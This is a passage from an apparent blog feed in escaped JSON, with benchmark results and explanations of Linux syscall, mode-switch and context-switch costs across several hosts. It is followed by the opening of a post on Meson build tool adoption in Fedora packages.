href=\"https:\/\/manpath.be\/f34\/7\/vdso#L334\">few\nother syscalls<\/a> are implemented via the efficient <a href=\"https:\/\/en.wikipedia.org\/wiki\/VDSO\">vDSO<\/a> mechanism.\nMeaning when they are called no mode switch happens!<\/p>\n<p><code>clock_gettime()<\/code> supports different clocks and not all of them\nare vDSO optimized on all kernels. The table shows that on RHEL 7 querying\n<code>CLOCK_MONOTIC_RAW<\/code> and <code>CLOCK_TAI<\/code> invokes a real syscall while\non Fedora 33 kernels (5.12\/5.13) these clock readings are also\nimplemented as vDSO.<\/p>\n<h3 id=\"dummy-signaling\">Dummy Signaling<a class=\"headerlink\" href=\"#dummy-signaling\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>Similarly, the dummy <code>pthread_cond_signal()<\/code> case, which signals\nwithout anybody listening, is much cheaper than a real syscall - \nsince the C library doesn't have to call a real syscall but can\njust invoke some relatively cheap atomic operation.<\/p>\n<h3 id=\"getpid\">Getpid<a class=\"headerlink\" href=\"#getpid\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>The <code>getpid()<\/code> syscall is surprisingly fast on RHEL 7. It turns\nout that RHEL 7 ships an <a href=\"https:\/\/manpath.be\/f34\/2\/getpid#L43\">older glibc version which caches the ID\nof a process<\/a>! Which arguably is a curious optimization, since,\nwhat's the point? I mean how often to you have to call\n<code>getpid()<\/code> in a program, really? At some point (around Fedora 26)\nthis <a href=\"https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=1469670\">feature was removed<\/a> since it apparently caused more\n<a href=\"https:\/\/yarchive.net\/comp\/linux\/getpid_caching.html\">trouble<\/a> than it's worth. Perhaps unsurprisingly, that\n<a href=\"https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=1469670\">removal<\/a> even <a href=\"https:\/\/xkcd.com\/1172\/\">broke somebodies workflow<\/a>.<\/p>\n<h3 id=\"real-syscalls\">Real Syscalls<a class=\"headerlink\" href=\"#real-syscalls\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>So looking at the real syscalls, the user-kernel mode switches\ncost in the order of a few hundred nanoseconds, on all hosts. The\nhigher costs on some hosts can be explained by CPU bug\nmitigations being enabled (they are enabled by default) and\/or\nkind of older\/lower-end hardware. See also the Hosts Section for\nsome details.<\/p>\n<p>The fastest host is <code>xg6256<\/code> which manages to switch modes in\nless than 100 ns. It has a fast CPU with good\nsingle core performance (Xeon Gold 6256), has frequency scaling\ndisabled and runs at a constant 4.1 GHz frequency above it's base\nfrequency (i.e. a frequency between the base and turbo\nfrequency).<\/p>\n<h3 id=\"sched-yield\">Sched Yield<a class=\"headerlink\" href=\"#sched-yield\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>The <code>sched_yield()<\/code> syscall could be considered as a minimal work\nsyscall, e.g. when there is nothing to yield to. Also, the\nbenchmark process is running under the standard scheduling policy\nand on Linux <a href=\"https:\/\/manpath.be\/f34\/2\/sched_yield#L43\"><code>sched_yield()<\/code> is described as<\/a>:<\/p>\n<blockquote>\n<p><code>sched_yield()<\/code> is  intended for use with real-time scheduling policies (i.e., <code>SCHED_FIFO<\/code> or <code>SCHED_RR<\/code>).\nUse of <code>sched_yield()<\/code> with nondeterministic scheduling policies such as <code>SCHED_OTHER<\/code> is unspecified  and\nvery likely means your application design is broken.<\/p>\n<\/blockquote>\n<p>So unspecified could mean that the syscall just bails out after\nthe process' scheduling policy compares equal to <code>SCHED_OTHER<\/code>.<\/p>\n<p>On most hosts sched_yield 150 ns or so more expensive than a\nreally minimal syscall such as <code>getuid()<\/code> - which indicates some\nmore overhead, but not necessarily a context switch.<\/p>\n<h3 id=\"nanosleep\">Nanosleep<a class=\"headerlink\" href=\"#nanosleep\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>A bit out of the competition is the <code>nanosleep()<\/code> syscall:<\/p>\n<style  type=\"text\/css\" >\n    #T_07822f0e_0988_11ec_9e32_f8cab850d072 {\n            margin-bottom: 1em\n        }\n<\/style>\n<style  type=\"text\/css\" >\n    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col0 {\n            background-color:  #e7d7ce;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col1 {\n            background-color:  #5875e1;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col2 {\n            background-color:  #e6d7cf;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col3 {\n            background-color:  #5f7fe8;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col4 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col5 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col6 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col7 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col8 {\n            background-color:  #4e68d8;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col9 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col10 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col11 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col12 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col13 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col14 {\n            background-color:  #b40426;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col0 {\n            background-color:  #d4dbe6;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col1 {\n            background-color:  #7093f3;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col2 {\n            background-color:  #b40426;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col3 {\n            background-color:  #8caffe;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col4 {\n            background-color:  #6a8bef;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col5 {\n            background-color:  #5977e3;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col6 {\n            background-color:  #7093f3;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col7 {\n            background-color:  #bad0f8;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col8 {\n            background-color:  #97b8ff;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col9 {\n            background-color:  #6b8df0;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col10 {\n            background-color:  #7295f4;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col11 {\n            background-color:  #5673e0;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col12 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col13 {\n            background-color:  #4a63d3;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col14 {\n            background-color:  #b5cdfa;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col0 {\n            background-color:  #d3dbe7;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col1 {\n            background-color:  #7093f3;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col2 {\n            background-color:  #b40426;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col3 {\n            background-color:  #8caffe;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col4 {\n            background-color:  #6a8bef;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col5 {\n            background-color:  #5977e3;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col6 {\n            background-color:  #6f92f3;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col7 {\n            background-color:  #b9d0f9;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col8 {\n            background-color:  #97b8ff;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col9 {\n            background-color:  #6b8df0;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col10 {\n            background-color:  #7295f4;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col11 {\n            background-color:  #5673e0;\n            color:  #000000;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col12 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col13 {\n            background-color:  #4a63d3;\n            color:  #f1f1f1;\n        }    #T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col14 {\n            background-color:  #b3cdfb;\n            color:  #000000;\n        }<\/style>\n<table id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072\"><thead>    <tr>        <th class=\"index_name level0\" >host<\/th>        <th class=\"col_heading level0 col0\" >5i4250u<\/th>        <th class=\"col_heading level0 col1\" >7i6600u<\/th>        <th class=\"col_heading level0 col2\" >ac3758<\/th>        <th class=\"col_heading level0 col3\" >x2643<\/th>        <th class=\"col_heading level0 col4\" >x2667h<\/th>        <th class=\"col_heading level0 col5\" >x2667s<\/th>        <th class=\"col_heading level0 col6\" >x2687w<\/th>        <th class=\"col_heading level0 col7\" >x2689<\/th>        <th class=\"col_heading level0 col8\" >x2690<\/th>        <th class=\"col_heading level0 col9\" >xg6144<\/th>        <th class=\"col_heading level0 col10\" >xg6148<\/th>        <th class=\"col_heading level0 col11\" >xg6246<\/th>        <th class=\"col_heading level0 col12\" >xg6256<\/th>        <th class=\"col_heading level0 col13\" >xg6256b<\/th>        <th class=\"col_heading level0 col14\" >xs4110<\/th>    <\/tr>    <tr>        <th class=\"index_name level0\" >name<\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>        <th class=\"blank\" ><\/th>    <\/tr><\/thead><tbody>\n                <tr>\n                        <th id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072level0_row0\" class=\"row_heading level0 row0\" >nanosleep0<\/th>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col0\" class=\"data row0 col0\" >52632<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col1\" class=\"data row0 col1\" >50474<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col2\" class=\"data row0 col2\" >52620<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col3\" class=\"data row0 col3\" >50588<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col4\" class=\"data row0 col4\" >50003<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col5\" class=\"data row0 col5\" >50011<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col6\" class=\"data row0 col6\" >50000<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col7\" class=\"data row0 col7\" >50014<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col8\" class=\"data row0 col8\" >50312<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col9\" class=\"data row0 col9\" >50018<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col10\" class=\"data row0 col10\" >50000<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col11\" class=\"data row0 col11\" >50014<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col12\" class=\"data row0 col12\" >50000<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col13\" class=\"data row0 col13\" >50000<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row0_col14\" class=\"data row0 col14\" >54866<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072level0_row1\" class=\"row_heading level0 row1\" >nanosleep0_slack1<\/th>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col0\" class=\"data row1 col0\" >4355<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col1\" class=\"data row1 col1\" >2836<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col2\" class=\"data row1 col2\" >7076<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col3\" class=\"data row1 col3\" >3247<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col4\" class=\"data row1 col4\" >2736<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col5\" class=\"data row1 col5\" >2483<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col6\" class=\"data row1 col6\" >2835<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col7\" class=\"data row1 col7\" >3908<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col8\" class=\"data row1 col8\" >3401<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col9\" class=\"data row1 col9\" >2762<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col10\" class=\"data row1 col10\" >2870<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col11\" class=\"data row1 col11\" >2446<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col12\" class=\"data row1 col12\" >1974<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col13\" class=\"data row1 col13\" >2248<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row1_col14\" class=\"data row1 col14\" >3837<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072level0_row2\" class=\"row_heading level0 row2\" >nanosleep1_slack1<\/th>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col0\" class=\"data row2 col0\" >4348<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col1\" class=\"data row2 col1\" >2840<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col2\" class=\"data row2 col2\" >7102<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col3\" class=\"data row2 col3\" >3252<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col4\" class=\"data row2 col4\" >2736<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col5\" class=\"data row2 col5\" >2486<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col6\" class=\"data row2 col6\" >2834<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col7\" class=\"data row2 col7\" >3908<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col8\" class=\"data row2 col8\" >3410<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col9\" class=\"data row2 col9\" >2767<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col10\" class=\"data row2 col10\" >2871<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col11\" class=\"data row2 col11\" >2446<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col12\" class=\"data row2 col12\" >1975<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col13\" class=\"data row2 col13\" >2246<\/td>\n                        <td id=\"T_07822f0e_0988_11ec_9e32_f8cab850d072row2_col14\" class=\"data row2 col14\" >3836<\/td>\n            <\/tr>\n    <\/tbody><\/table>\n\n<p>Calling <code>nanosleep()<\/code> to sleep for 0 ns or 1 ns seemingly also is\na very cheap syscall or even a null operation.<\/p>\n<p>However, in the first case it takes 50 \u00b5s an all hosts.\nIncidentally, 50 \u00b5s is also the <a href=\"https:\/\/manpath.be\/f34\/2\/prctl#L1052\">default timer slack value<\/a>\nfor a normally scheduled process on Linux. The <a href=\"https:\/\/lwn.net\/Articles\/588086\/\">timer slack\nmechanism<\/a> extends timer expirations up to the slack value in\norder to group multiple timers since this reduces wake ups and\nthus saves energy. And since <code>nanosleep()<\/code> creates a timer, it's\nalso affected by this mechanism.<\/p>\n<p>Thus, the other nanosleep cases <a href=\"https:\/\/github.com\/gsauthof\/osjitter\/blob\/f1a4ca9cbf7516efc61c3bab2fe06ffe83cfb43c\/bench_syscalls.cc#L117\">set a minimal timer slack<\/a> of 1\nns which reduces the runtime, as expected. However, it's still\nmuch more expensive than the other syscalls. Of course, a timer\nexpiration has a limited accuracy. However, with 0 ns or 1 ns no\ntimer has to be expired, really. It turns out that calling\n<code>nanosleep()<\/code> unconditionally yields a (voluntary) <a href=\"https:\/\/en.wikipedia.org\/wiki\/Context_switch\">context\nswitch<\/a>.  Even on isolated cores, where the scheduler happily\nswitches to the swapper kernel thread. Thus, the last two\nnanonsleep cases really measure the context switch costs which\nare more expensive than a simple mode switch.<\/p>\n<p>The costs of a context switch match what <a href=\"https:\/\/eli.thegreenplace.net\/2018\/measuring-context-switching-and-memory-overheads-for-linux-threads\/#how-expensive-are-context-switches\">others are\nmeasuring<\/a> (modulo division by two).<\/p>\n<h2 id=\"hosts\">Hosts<a class=\"headerlink\" href=\"#hosts\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The following table shows the hosts under benchmark:<\/p>\n<table class=\"m-table\">\n  <thead>\n    <tr style=\"text-align: right;\">\n      <th><\/th>\n      <th>host<\/th>\n      <th>CPU<\/th>\n      <th>mitigations<\/th>\n      <th>poll<\/th>\n      <th>os<\/th>\n      <th>kernel<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <th>0<\/th>\n      <td>5i4250u<\/td>\n      <td>Core i5-4250U<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>Fedora 33<\/td>\n      <td>5.12<\/td>\n    <\/tr>\n    <tr>\n      <th>1<\/th>\n      <td>7i6600u<\/td>\n      <td>Core i7-6600U<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>Fedora 33<\/td>\n      <td>5.13<\/td>\n    <\/tr>\n    <tr>\n      <th>2<\/th>\n      <td>ac3758<\/td>\n      <td>Atom C3758<\/td>\n      <td>no<\/td>\n      <td>yes<\/td>\n      <td>Fedora 33<\/td>\n      <td>5.13<\/td>\n    <\/tr>\n    <tr>\n      <th>3<\/th>\n      <td>x2643<\/td>\n      <td>Xeon E5-2643 v2<\/td>\n      <td>yes<\/td>\n      <td>no<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>4<\/th>\n      <td>x2667h<\/td>\n      <td>Xeon E5-2667 v3<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>5<\/th>\n      <td>x2667s<\/td>\n      <td>Xeon E5-2667 v3<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>6<\/th>\n      <td>x2687w<\/td>\n      <td>Xeon E5-2687W v3<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>7<\/th>\n      <td>x2689<\/td>\n      <td>Xeon E5-2689 v4<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>8<\/th>\n      <td>x2690<\/td>\n      <td>Xeon E5-2690 0<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>9<\/th>\n      <td>xg6144<\/td>\n      <td>Xeon Gold 6144<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>10<\/th>\n      <td>xg6148<\/td>\n      <td>Xeon Gold 6148<\/td>\n      <td>no<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>11<\/th>\n      <td>xg6246<\/td>\n      <td>Xeon Gold 6246<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>12<\/th>\n      <td>xg6256<\/td>\n      <td>Xeon Gold 6256<\/td>\n      <td>no<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>13<\/th>\n      <td>xg6256b<\/td>\n      <td>Xeon Gold 6256<\/td>\n      <td>yes<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n    <tr>\n      <th>14<\/th>\n      <td>xs4110<\/td>\n      <td>Xeon Silver 4110<\/td>\n      <td>no<\/td>\n      <td>yes<\/td>\n      <td>RHEL 7<\/td>\n      <td>3.10<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>Notes:<\/p>\n<ul>\n<li>the kernels are the ones packaged by the distributions<\/li>\n<li>most RHEL hosts are on RHEL 7.9<\/li>\n<li>CPU mitigations are disabled via the <code>mitigations=off<\/code> kernel\n  parameter or similar parameters<\/li>\n<li>polling means that CPU frequency scaling and power saving is\n  disabled via kernel parameters and tuned PM QoS settings<\/li>\n<li>so the host's CPU runs on a fixed frequency; where possible this\n  frequency is set slightly above the base frequency, e.g. on the\n  Xeon Gold 6256 CPU it's set to 4.1 GHz<\/li>\n<li>the Atom CPU doesn't support Hyperthreading and Hyperthreading\n  is disabled on all Xeon hosts<\/li>\n<li>all hosts have SELinux and\/or Auditing enabled (on Fedora\/RHEL these features are enabled by default) which adds some syscall overhead to some degree<\/li>\n<\/ul>\n<h2 id=\"terminology\">Terminology<a class=\"headerlink\" href=\"#terminology\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>There are basically two important separate terms to distinguish\nin the above discussion:<\/p>\n<ol>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Context_switch#User_and_kernel_mode_switching\">Mode Switch<\/a> (or Mode Transition)<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Context_switch\">Context Switch<\/a><\/li>\n<\/ol>\n<p>The definitions of these terms might vary in different literature\nand different operating systems. Also, in other contexts (no pun\nintended!) one might describe different modes as different\ncontexts. However, the definitions given in the linked Wikipedia\narticles are widely used and apply to Linux.<\/p>\n<p>Basically, a mode transition denotes the switch between user mode and\nkernel mode (or between user space and kernel space) whereas a context switch\ndenotes a switch between different tasks, which is facilitated by\nthe kernel. A context switch requires more work than a mode\nswitch and thus is more expensive.<\/p>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"kernel"}},{"@attributes":{"term":"linux"}},{"@attributes":{"term":"latency"}}]},{"title":"The Rise of Meson","link":{"@attributes":{"href":"https:\/\/gms.tf\/the-rise-of-meson.html","rel":"alternate"}},"published":"2021-08-07T13:00:00+02:00","updated":"2021-08-07T13:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2021-08-07:\/the-rise-of-meson.html","summary":"<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)#Adopters\">More and more<\/a> open source projects seem to switch to the <a href=\"https:\/\/mesonbuild.com\/\">Meson<\/a> build tool, in the last years.\nIn an attempt to quantify this development I looked at the build tools usage by <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fedora_(operating_system)\">Fedora<\/a> packages, during the last 14 years.<\/p>\n<h2 id=\"about-meson\">About Meson<a class=\"headerlink\" href=\"#about-meson\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)\">Meson<\/a> is a build tool with good C \u2026<\/p>","content":"<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)#Adopters\">More and more<\/a> open source projects seem to switch to the <a href=\"https:\/\/mesonbuild.com\/\">Meson<\/a> build tool, in the last years.\nIn an attempt to quantify this development I looked at the build tools usage by <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fedora_(operating_system)\">Fedora<\/a> packages, during the last 14 years.<\/p>\n<h2 id=\"about-meson\">About Meson<a class=\"headerlink\" href=\"#about-meson\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)\">Meson<\/a> is a build tool with good C\/C++ support. It's\nwritten in Python and generates <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ninja_(build_system)\">Ninja<\/a> build files. Since it was\ncreated after <a href=\"https:\/\/en.wikipedia.org\/wiki\/CMake\">CMake<\/a> (which was initially released in\n2000), it had the chance to learn from CMake's\nmistakes. In comparison to CMake, Meson has better <a href=\"https:\/\/mesonbuild.com\/Manual.html\">documentation<\/a>,\nit doesn't support generating classic makefiles, it only supports\nout of source tree builds, and its domain specific language is\narguably much better designed.<\/p>\n<p>So, from the start, Meson arguably is also more opinionated in its\ndesign, but in a useful way. Usually, simple stuff is easy to solve\nwith Meson and there is one kind of obvious way to do it. Whereas\nwith CMake, there are often several ways to implement common\nbuild tasks (cf. <a href=\"https:\/\/en.wikipedia.org\/wiki\/There%27s_more_than_one_way_to_do_it\">TMTOWTDI<\/a>), including some legacy ones. With Meson, build files\nare often much shorter than equivalent CMake ones.<\/p>\n<p>CMake evolved over the years and it's possible to write -\nsay - a modern style of CMake build files that are less awful,\nand use it in a modern way to some degree, but it feels\nthat the <a href=\"https:\/\/cmake.org\/cmake\/help\/v3.21\/\">official documentation<\/a> doesn't help much in that regard,\nand that one would have to <a href=\"https:\/\/pabloariasal.github.io\/2018\/02\/19\/its-time-to-do-cmake-right\/\">study<\/a> several <a href=\"https:\/\/cliutils.gitlab.io\/modern-cmake\/#other-sources\">books<\/a> on modern CMake in\norder to arrive there.<\/p>\n<h2 id=\"fedora-data\">Fedora Data<a class=\"headerlink\" href=\"#fedora-data\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The first packages that required Meson to build arrived in Fedora 22,\ni.e. 6 years ago (in 2015, Fedora runs on a half-year release schedule and\nMeson was initially released in 2013, 8 years ago).\nSince then the number of packages that\nbuild-require Meson grew to almost 600 hundred:<\/p>\n<p><img src=\"https:\/\/gms.tf\/image\/meson-et-al-fedora.svg\" alt=\"Number of packages that build-require CMake, Meson, Scons\" width=\"100%\"\/><\/p>\n<p>So this graph shows the number of packages that require a notable\nbuild tool at build time, for each Fedora release.<\/p>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/SCons\">Scons<\/a> never really took off and nowadays only a handful of\npackages still require it. In contrast, the Meson usage shows\nsome serious growth.<\/p>\n<p>When looking at the Meson growth in relation to the packages that\neither require CMake, Scons or Meson - Meson is now required by\n30 % or so of the packages:<\/p>\n<p><img src=\"https:\/\/gms.tf\/image\/meson-rise.svg\" alt=\"Relative Meson Build Requirements growth\" width=\"100%\"\/><\/p>\n<p>The growth slowed a bit down in the last Fedora releases, it\nseems.<\/p>\n<h2 id=\"other-tools\">Other Tools<a class=\"headerlink\" href=\"#other-tools\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>So what about <a href=\"https:\/\/en.wikipedia.org\/wiki\/Autoconf\">Autoconf<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Automake\">Automake<\/a>, etc.\n(a.k.a. <a 